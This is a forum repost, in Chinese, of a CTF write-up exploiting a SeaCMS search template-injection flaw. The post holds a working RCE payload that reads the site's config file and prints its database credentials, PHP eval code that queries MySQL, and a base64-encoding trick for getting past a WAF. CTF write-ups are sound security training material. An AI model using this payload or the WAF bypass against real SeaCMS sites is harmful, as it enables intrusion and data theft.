安全矩阵

 找回密码
 立即注册
搜索
查看: 2472|回复: 0

“百度杯”CTF比赛 九月场: Test

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
发表于 2020-3-31 23:26:01 | 显示全部楼层 |阅读模式
i春秋 “百度杯”CTF比赛 九月场 Test
转载自:csdn原创:virtu41
题目:

首先进入题目链接,然后搜索seacms相关漏洞,我直接使用了百度出来的第一条,freebuf上的一篇文章:
http://www.freebuf.com/vuls/150042.html
漏洞利用方式如下:


我们把eval改成system,把9[]改成我们想要执行的命令,即可遍历网站的目录,我看了很多文件,最后在data目录下找到了common.inc.php文件,打开查看:payload如下
searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=ys{searchpage:letter}&letter=tem{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=cat ./data/common.inc.php

查看页面源代码
  1. <?php
  2. //数据库连接信息
  3. $cfg_dbhost = '127.0.0.1';
  4. $cfg_dbname = 'seacms';
  5. $cfg_dbuser = 'sea_user';
  6. $cfg_dbpwd = '46e06533407e';
  7. $cfg_dbprefix = 'sea_';
  8. $cfg_db_language = 'utf8';
  9. ?>
复制代码
然后我们使用eval执行php代码连接数据库
  1. $con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
  2. while($row=mysql_fetch_array(mysql_query("select database()")))
  3.     var_dump($row);
复制代码
得到数据库(其实上面的文件已经给出了。。。。。)
然后通过查询information_schema.tables获得数据库中的表,但是此时就会被拦截掉了,应该是360的waf,因为之前遍历目录的时候看到了360safe目录
其实这个很容易解决,既然它是过滤字符串,那我们就把字符串编码,因为我们可以使用eval执行各种代码,当然也可以对自己进行编码之后的字符串再进行解码,只需在payload中再加一个eval
现在我们把如下代码使用base64进行加密,框架是这样的:
  1. eval(base64_decode(""));
复制代码
在里面放上自己编码后的字符串即可
查询代码框架如下:


  1. $con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
  2. while($row=mysql_fetch_array(mysql_query("填写你的注入语句")))
  3.     var_dump($row);
复制代码
最后就能得到flag了

原文链接:https://blog.csdn.net/include_heqile/article/details/82735944

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 02:22 , Processed in 0.013594 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表